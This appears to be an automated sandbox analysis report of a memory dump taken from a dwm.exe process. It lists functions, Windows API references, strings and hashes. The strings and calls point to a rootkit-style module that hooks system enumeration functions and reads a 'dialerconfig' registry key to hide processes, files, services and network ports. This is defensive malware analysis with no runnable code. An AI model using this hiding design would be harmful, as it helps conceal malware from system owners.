Part of subcall function 000002BAAEDD1268: HeapAlloc.KERNEL32 ref: 000002BAAEDD12A8

RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDD16B2
RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDD16DF
RegCloseKey.ADVAPI32 ref: 000002BAAEDD16F9
RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDD1719
RegCloseKey.ADVAPI32 ref: 000002BAAEDD1734
RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDD1754
RegCloseKey.ADVAPI32 ref: 000002BAAEDD176F
RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDD178F
RegCloseKey.ADVAPI32 ref: 000002BAAEDD17AA
RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDD17CA
RegCloseKey.ADVAPI32 ref: 000002BAAEDD17E5
RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDD1805
RegCloseKey.ADVAPI32 ref: 000002BAAEDD1820
RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDD1840
RegCloseKey.ADVAPI32 ref: 000002BAAEDD185B
RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDD187B
RegCloseKey.ADVAPI32 ref: 000002BAAEDD1896
RegCloseKey.ADVAPI32 ref: 000002BAAEDD18A0

Part of subcall function 000002BAAEDD12BC: RegQueryInfoKeyW.ADVAPI32 ref: 000002BAAEDD1319
Part of subcall function 000002BAAEDD12BC: GetProcessHeap.KERNEL32 ref: 000002BAAEDD1327
Part of subcall function 000002BAAEDD12BC: HeapAlloc.KERNEL32 ref: 000002BAAEDD1338
Part of subcall function 000002BAAEDD12BC: RegEnumValueW.ADVAPI32 ref: 000002BAAEDD1397
Part of subcall function 000002BAAEDD12BC: GetProcessHeap.KERNEL32 ref: 000002BAAEDD13DF
Part of subcall function 000002BAAEDD12BC: HeapAlloc.KERNEL32 ref: 000002BAAEDD13ED
Part of subcall function 000002BAAEDD12BC: GetProcessHeap.KERNEL32 ref: 000002BAAEDD140A
Part of subcall function 000002BAAEDD12BC: HeapFree.KERNEL32 ref: 000002BAAEDD1418
Part of subcall function 000002BAAEDD12BC: lstrlenW.KERNEL32 ref: 000002BAAEDD1421
Part of subcall function 000002BAAEDD12BC: GetProcessHeap.KERNEL32 ref: 000002BAAEDD142F
Part of subcall function 000002BAAEDD12BC: HeapAlloc.KERNEL32 ref: 000002BAAEDD143D

Strings

tcp_remote, xrefs: 000002BAAEDD1839
SOFTWARE\dialerconfig, xrefs: 000002BAAEDD1692
udp, xrefs: 000002BAAEDD1874
tcp_local, xrefs: 000002BAAEDD17FE
pid, xrefs: 000002BAAEDD1712
service_names, xrefs: 000002BAAEDD17C3
paths, xrefs: 000002BAAEDD1788
startup, xrefs: 000002BAAEDD16D5
process_names, xrefs: 000002BAAEDD174D

Memory Dump Source

Source File: 00000021.00000002.3146221400.000002BAAEDD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_2baaedd0000_dwm.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: 1cd993aa2e4ca2ca68512b5fa9006a8bf35805f96022a16a3de0c38e9af3347a
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: 03713936311A10CAEB50EF75E8986AD33B5FB84B98F201116DE8E97B68DF38C544C361

Function 000002BAAEDD3790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32 ref: 000002BAAEDD379E
GetCurrentProcess.KERNEL32 ref: 000002BAAEDD37CC
VirtualProtectEx.KERNEL32 ref: 000002BAAEDD37EE
GetCurrentProcess.KERNEL32 ref: 000002BAAEDD3809
VirtualProtectEx.KERNEL32 ref: 000002BAAEDD382A

Strings

wr, xrefs: 000002BAAEDD37FF

Memory Dump Source

Source File: 00000021.00000002.3146221400.000002BAAEDD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_2baaedd0000_dwm.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: 462342938f27d681e7f45fad441101ff68967ea814c45b17604f347c0a4b5bf3
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: 7411353A705B8182EF689B21E44C26973B1FB88B95F64002ADEDD87B94EF3DC505C725

Function 000002BAAEDD5B30 Relevance: 9.2, APIs: 6, Instructions: 240
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 000002BAAEDD5B6B
GetThreadContext.KERNEL32 ref: 000002BAAEDD5CD5

Part of subcall function 000002BAAEDD5960: GetCurrentThreadId.KERNEL32 ref: 000002BAAEDD5964

Memory Dump Source

Source File: 00000021.00000002.3146221400.000002BAAEDD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_2baaedd0000_dwm.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: aba7c51250b0bd2785b454d2868164715ffdc60c22b63475f1bba81942d6465a
Instruction ID: 495d57ed8553111e4e128e1b6255c028dc87b89d2567e538d286b7ba3df4ff32
Opcode Fuzzy Hash: aba7c51250b0bd2785b454d2868164715ffdc60c22b63475f1bba81942d6465a
Instruction Fuzzy Hash: 71D1A936209B88C6DA70DB1AE49835A77B0F7C8B84F200516EACD87BA9DF3DC551CB51

Function 000002BAAEDD50D0 Relevance: 7.8, APIs: 5, Instructions: 318
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 000002BAAEDD5156

Memory Dump Source

Source File: 00000021.00000002.3146221400.000002BAAEDD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_2baaedd0000_dwm.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: a9eeae0eee8a65d3360f20c0190c6c2044be682fe56af66e10426f66e33a6bd7
Instruction ID: debfef5cb2b2f1efafcd3bde8b349a94f9ea710e3e20d61597c4b0ade23fd8dd
Opcode Fuzzy Hash: a9eeae0eee8a65d3360f20c0190c6c2044be682fe56af66e10426f66e33a6bd7
Instruction Fuzzy Hash: 9402D83221AB84C6EB60DB59E49435ABBB1F3C4794F204416EACE87BA9DF7CC454CB11

Function 000002BAAEDD39E0 Relevance: 4.6, APIs: 3, Instructions: 64
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32 ref: 000002BAAEDD3A66
VirtualAlloc.KERNEL32 ref: 000002BAAEDD3AA0

Memory Dump Source

Source File: 00000021.00000002.3146221400.000002BAAEDD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_2baaedd0000_dwm.jbxd

Similarity

API ID: Virtual$AllocQuery
String ID:
API String ID: 31662377-0
Opcode ID: ad31f8c641c3994e4c662b42b06090e17ab0b09933d29211a4965d6dca603ca4
Instruction ID: e57386cb4ae447fc151b5581e62860c8597a884605dd7c21122e93a40e2eb5d5
Opcode Fuzzy Hash: ad31f8c641c3994e4c662b42b06090e17ab0b09933d29211a4965d6dca603ca4
Instruction Fuzzy Hash: 4131242231BB8481EA71DB19E09939E77B4F388784F201526F5CD86BA9DF7DC540CB16

Function 000002BAAEDD328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 000002BAAEDD32AE
PathFindFileNameW.SHLWAPI ref: 000002BAAEDD32BD

Part of subcall function 000002BAAEDD3844: StrCmpNIW.SHLWAPI ref: 000002BAAEDD385C

Part of subcall function 000002BAAEDD3790: GetModuleHandleW.KERNEL32 ref: 000002BAAEDD379E
Part of subcall function 000002BAAEDD3790: GetCurrentProcess.KERNEL32 ref: 000002BAAEDD37CC
Part of subcall function 000002BAAEDD3790: VirtualProtectEx.KERNEL32 ref: 000002BAAEDD37EE
Part of subcall function 000002BAAEDD3790: GetCurrentProcess.KERNEL32 ref: 000002BAAEDD3809
Part of subcall function 000002BAAEDD3790: VirtualProtectEx.KERNEL32 ref: 000002BAAEDD382A

CreateThread.KERNEL32 ref: 000002BAAEDD330B

Part of subcall function 000002BAAEDD1D14: GetCurrentThread.KERNEL32 ref: 000002BAAEDD1D1F

Memory Dump Source

Source File: 00000021.00000002.3146221400.000002BAAEDD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_2baaedd0000_dwm.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: d9976a28d3edefbc484b26820ec4384613920bc9bede386f6cfe404f3c3adaa6
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: E911803161274082FB60AB25FA8D76933B4E754B44F70512AD9CEC5595EF78C144C273

Function 000002BAAEDD4DF0 Relevance: 4.5, APIs: 3, Instructions: 23
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 000002BAAEDD4DF4
VirtualProtect.KERNEL32 ref: 000002BAAEDD4E37
FlushInstructionCache.KERNEL32 ref: 000002BAAEDD4E4C

Memory Dump Source

Source File: 00000021.00000002.3146221400.000002BAAEDD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_2baaedd0000_dwm.jbxd

Similarity

API ID: CacheCurrentFlushInstructionProcessProtectVirtual
String ID:
API String ID: 3733156554-0
Opcode ID: efc513032ac2f8104d68ff6d1779eae6f51007478eb3e1ac0120cc0a77f626c8
Instruction ID: a094a045ce428c8382e8de798b1b9a6c7c6ee4977feabb25ddd08a1ad637c0c8
Opcode Fuzzy Hash: efc513032ac2f8104d68ff6d1779eae6f51007478eb3e1ac0120cc0a77f626c8
Instruction Fuzzy Hash: 6EF03A26219B04C0D631DB01E48934EBBB0F388BD4F240116FACD83BA9CB3CC690CB21

Function 000002BAAEDA273C Relevance: 3.2, APIs: 2, Instructions: 187
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 000002BAAEDA27DB
LoadLibraryA.KERNELBASE ref: 000002BAAEDA285E

Memory Dump Source

Source File: 00000021.00000002.3146137933.000002BAAEDA0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDA0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_2baaeda0000_dwm.jbxd

Similarity

API ID: AllocLibraryLoadVirtual
String ID:
API String ID: 3550616410-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: eb3719fafc7ec8463c302ea4e313405cb53f27c6a32c8c03131f423db2fe9aad
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: 46612532B0169087DB64CF2AD40872DB3B2FB54FA4F688525DE9D07788DB38D962C721

Function 000002BAAEDD1ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000002BAAEDD1628: GetProcessHeap.KERNEL32 ref: 000002BAAEDD1633
Part of subcall function 000002BAAEDD1628: HeapAlloc.KERNEL32 ref: 000002BAAEDD1642
Part of subcall function 000002BAAEDD1628: RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDD16B2
Part of subcall function 000002BAAEDD1628: RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDD16DF
Part of subcall function 000002BAAEDD1628: RegCloseKey.ADVAPI32 ref: 000002BAAEDD16F9
Part of subcall function 000002BAAEDD1628: RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDD1719
Part of subcall function 000002BAAEDD1628: RegCloseKey.ADVAPI32 ref: 000002BAAEDD1734
Part of subcall function 000002BAAEDD1628: RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDD1754
Part of subcall function 000002BAAEDD1628: RegCloseKey.ADVAPI32 ref: 000002BAAEDD176F
Part of subcall function 000002BAAEDD1628: RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDD178F
Part of subcall function 000002BAAEDD1628: RegCloseKey.ADVAPI32 ref: 000002BAAEDD17AA
Part of subcall function 000002BAAEDD1628: RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDD17CA

Sleep.KERNEL32 ref: 000002BAAEDD1AD7
SleepEx.KERNELBASE ref: 000002BAAEDD1ADD

Part of subcall function 000002BAAEDD1628: RegCloseKey.ADVAPI32 ref: 000002BAAEDD17E5
Part of subcall function 000002BAAEDD1628: RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDD1805
Part of subcall function 000002BAAEDD1628: RegCloseKey.ADVAPI32 ref: 000002BAAEDD1820
Part of subcall function 000002BAAEDD1628: RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDD1840
Part of subcall function 000002BAAEDD1628: RegCloseKey.ADVAPI32 ref: 000002BAAEDD185B
Part of subcall function 000002BAAEDD1628: RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDD187B
Part of subcall function 000002BAAEDD1628: RegCloseKey.ADVAPI32 ref: 000002BAAEDD1896
Part of subcall function 000002BAAEDD1628: RegCloseKey.ADVAPI32 ref: 000002BAAEDD18A0

Memory Dump Source

Source File: 00000021.00000002.3146221400.000002BAAEDD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_2baaedd0000_dwm.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: 028ec452a4f0b78a77d2aa10aed9f1aa3cfbe43c61dc3217750bbde5e745066d
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: F1310E613026418AFF50DB26DAD93A933B4EB85BC0F25542B9E8DC76D6FF24C851C232

Non-executed Functions

Function 000002BAAEDD2B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 000002BAAEDD2BD0
lstrlenW.KERNEL32 ref: 000002BAAEDD2E0A

Part of subcall function 000002BAAEDD199C: OpenProcess.KERNEL32 ref: 000002BAAEDD19C2
Part of subcall function 000002BAAEDD199C: K32GetModuleFileNameExW.KERNEL32 ref: 000002BAAEDD19E0
Part of subcall function 000002BAAEDD199C: PathFindFileNameW.SHLWAPI ref: 000002BAAEDD19EF
Part of subcall function 000002BAAEDD199C: lstrlenW.KERNEL32 ref: 000002BAAEDD19FB
Part of subcall function 000002BAAEDD199C: StrCpyW.SHLWAPI ref: 000002BAAEDD1A0E
Part of subcall function 000002BAAEDD199C: CloseHandle.KERNEL32 ref: 000002BAAEDD1A1C

GetProcAddress.KERNEL32 ref: 000002BAAEDD2BE5

Part of subcall function 000002BAAEDD152C: StrCmpIW.SHLWAPI ref: 000002BAAEDD155D

Part of subcall function 000002BAAEDD3844: StrCmpNIW.SHLWAPI ref: 000002BAAEDD385C

StrCmpNIW.SHLWAPI ref: 000002BAAEDD2C28
lstrlenW.KERNEL32 ref: 000002BAAEDD2D50

Strings

\Device\Nsi, xrefs: 000002BAAEDD2C1B
NtQueryObject, xrefs: 000002BAAEDD2BDB
ntdll.dll, xrefs: 000002BAAEDD2BC9

Memory Dump Source

Source File: 00000021.00000002.3146221400.000002BAAEDD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_2baaedd0000_dwm.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction ID: 244459b2691c9ea1546b74905166c69a74a720a8b5835bd8b698fe6183e793f5
Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction Fuzzy Hash: 0BB1D232212A5086EBA5CF29D4887AD73B9FB44B94F245017EE8D97794EF35CC40C7A1

Function 000002BAAEDD7D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 000002BAAEDD7DAC
RtlCaptureContext.NTDLL ref: 000002BAAEDD7DD9
RtlLookupFunctionEntry.NTDLL ref: 000002BAAEDD7DF3
RtlVirtualUnwind.NTDLL ref: 000002BAAEDD7E34
IsDebuggerPresent.KERNEL32 ref: 000002BAAEDD7E88
SetUnhandledExceptionFilter.KERNEL32 ref: 000002BAAEDD7EA9
UnhandledExceptionFilter.KERNEL32 ref: 000002BAAEDD7EB4

Memory Dump Source

Source File: 00000021.00000002.3146221400.000002BAAEDD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_2baaedd0000_dwm.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: f6c8eb9593b9122dbc2720b69259074f0fe4044569e8aa2285e5cf620b589d8b
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: 8D316272205B80CAEB609F61E8887ED7374F784744F54442ADB8E97B94EF38C548C721

Function 000002BAAEDDD2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 000002BAAEDDD31D
RtlLookupFunctionEntry.NTDLL ref: 000002BAAEDDD335
RtlVirtualUnwind.NTDLL ref: 000002BAAEDDD370
IsDebuggerPresent.KERNEL32 ref: 000002BAAEDDD3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 000002BAAEDDD3B3
UnhandledExceptionFilter.KERNEL32 ref: 000002BAAEDDD3BE

Memory Dump Source

Source File: 00000021.00000002.3146221400.000002BAAEDD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_2baaedd0000_dwm.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: 9edfd3bd37e08e8e69f0fca97c81255803323914939902e9cdf50607b9e637f6
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: 92318336215F8086DB60CF25E88839E73B4F789758F640226EADD43B99DF38C555CB11

Function 000002BAAEDD12BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000002BAAEDD1319
GetProcessHeap.KERNEL32 ref: 000002BAAEDD1327
HeapAlloc.KERNEL32 ref: 000002BAAEDD1338
RegEnumValueW.ADVAPI32 ref: 000002BAAEDD1397

Part of subcall function 000002BAAEDD152C: StrCmpIW.SHLWAPI ref: 000002BAAEDD155D

GetProcessHeap.KERNEL32 ref: 000002BAAEDD13DF
HeapAlloc.KERNEL32 ref: 000002BAAEDD13ED
GetProcessHeap.KERNEL32 ref: 000002BAAEDD140A
HeapFree.KERNEL32 ref: 000002BAAEDD1418
lstrlenW.KERNEL32 ref: 000002BAAEDD1421
GetProcessHeap.KERNEL32 ref: 000002BAAEDD142F
HeapAlloc.KERNEL32 ref: 000002BAAEDD143D
StrCpyW.SHLWAPI ref: 000002BAAEDD145F
GetProcessHeap.KERNEL32 ref: 000002BAAEDD1476
HeapFree.KERNEL32 ref: 000002BAAEDD1484

Strings

d, xrefs: 000002BAAEDD135A

Memory Dump Source

Source File: 00000021.00000002.3146221400.000002BAAEDD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_2baaedd0000_dwm.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: ec81597e3f60307067323c4174b85f0f24e223b8e3f291c95bdd44fbf5461747
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: 22515A36201B848AEB51CF62E44C39AB7B1F789F99F644129DA9E47758DF3CC049CB11

Function 000002BAAEDD1D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 000002BAAEDD1D1F

Part of subcall function 000002BAAEDD1FD4: GetModuleHandleA.KERNEL32 ref: 000002BAAEDD1FEC
Part of subcall function 000002BAAEDD1FD4: GetProcAddress.KERNEL32 ref: 000002BAAEDD1FFD

Part of subcall function 000002BAAEDD5B30: GetCurrentThreadId.KERNEL32 ref: 000002BAAEDD5B6B

Strings

NtEnumerateKey, xrefs: 000002BAAEDD1DB9
NtDeviceIoControlFile, xrefs: 000002BAAEDD1E56
NtQueryDirectoryFile, xrefs: 000002BAAEDD1D7F
NtResumeThread, xrefs: 000002BAAEDD1D62
NtEnumerateValueKey, xrefs: 000002BAAEDD1DD6
EnumServicesStatusExW, xrefs: 000002BAAEDD1E11, 000002BAAEDD1E32
advapi32.dll, xrefs: 000002BAAEDD1DF7, 000002BAAEDD1E18
EnumServiceGroupW, xrefs: 000002BAAEDD1DF0
sechost.dll, xrefs: 000002BAAEDD1E39
NtQueryDirectoryFileEx, xrefs: 000002BAAEDD1D9C
NtQuerySystemInformation, xrefs: 000002BAAEDD1D45
ntdll.dll, xrefs: 000002BAAEDD1D2D

Memory Dump Source

Source File: 00000021.00000002.3146221400.000002BAAEDD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_2baaedd0000_dwm.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: 939a712cbb25611334bf524d7ded25ea8778c7245202bd4b8ee26e49628c4f30
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: 6531B265602A4AA1EA04EFB9EC9D7E43331F744788FF05413E4DD86576AF388249C372

Function 000002BAAEDA6910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000002BAAEDA6938
__scrt_acquire_startup_lock.LIBCMT ref: 000002BAAEDA698A
_RTC_Initialize.LIBCMT ref: 000002BAAEDA69B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000002BAAEDA69DE
__scrt_release_startup_lock.LIBCMT ref: 000002BAAEDA6A09

Strings

scriptor', xrefs: 000002BAAEDA6B39, 000002BAAEDA6BB2, 000002BAAEDA6BEC
`dynamic initializer for ', xrefs: 000002BAAEDA69C7
`eh vector vbase copy constructor iterator', xrefs: 000002BAAEDA69EE
`eh vector copy constructor iterator', xrefs: 000002BAAEDA6A3B

Memory Dump Source

Source File: 00000021.00000002.3146137933.000002BAAEDA0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDA0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_2baaeda0000_dwm.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 32cdc5dd754b9265ed1b62c1cf3c1166db28a6efdf1a5dfff2fed84b291f1566
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: EE81E021700241C6FA90AF26944D39933F1EB89B80F748425AAED477D6EB39CB65C723

Function 000002BAAEDDCE28 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 000002BAAEDDCE37
FlsGetValue.KERNEL32(?,?,?,000002BAAEDE0A6B,?,?,?,000002BAAEDE045C,?,?,?,000002BAAEDDC84F), ref: 000002BAAEDDCE4C
FlsSetValue.KERNEL32(?,?,?,000002BAAEDE0A6B,?,?,?,000002BAAEDE045C,?,?,?,000002BAAEDDC84F), ref: 000002BAAEDDCE6D
FlsSetValue.KERNEL32(?,?,?,000002BAAEDE0A6B,?,?,?,000002BAAEDE045C,?,?,?,000002BAAEDDC84F), ref: 000002BAAEDDCE9A
FlsSetValue.KERNEL32(?,?,?,000002BAAEDE0A6B,?,?,?,000002BAAEDE045C,?,?,?,000002BAAEDDC84F), ref: 000002BAAEDDCEAB
FlsSetValue.KERNEL32(?,?,?,000002BAAEDE0A6B,?,?,?,000002BAAEDE045C,?,?,?,000002BAAEDDC84F), ref: 000002BAAEDDCEBC
SetLastError.KERNEL32 ref: 000002BAAEDDCED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,000002BAAEDE0A6B,?,?,?,000002BAAEDE045C,?,?,?,000002BAAEDDC84F), ref: 000002BAAEDDCF0D
FlsSetValue.KERNEL32(?,?,00000001,000002BAAEDDECCC,?,?,?,?,000002BAAEDDBF9F,?,?,?,?,?,000002BAAEDD7AB0), ref: 000002BAAEDDCF2C

Part of subcall function 000002BAAEDDD6CC: HeapAlloc.KERNEL32 ref: 000002BAAEDDD721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000002BAAEDE0A6B,?,?,?,000002BAAEDE045C,?,?,?,000002BAAEDDC84F), ref: 000002BAAEDDCF54

Part of subcall function 000002BAAEDDD744: HeapFree.KERNEL32 ref: 000002BAAEDDD75A
Part of subcall function 000002BAAEDDD744: GetLastError.KERNEL32 ref: 000002BAAEDDD764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000002BAAEDE0A6B,?,?,?,000002BAAEDE045C,?,?,?,000002BAAEDDC84F), ref: 000002BAAEDDCF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000002BAAEDE0A6B,?,?,?,000002BAAEDE045C,?,?,?,000002BAAEDDC84F), ref: 000002BAAEDDCF76

Memory Dump Source

Source File: 00000021.00000002.3146221400.000002BAAEDD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_2baaedd0000_dwm.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
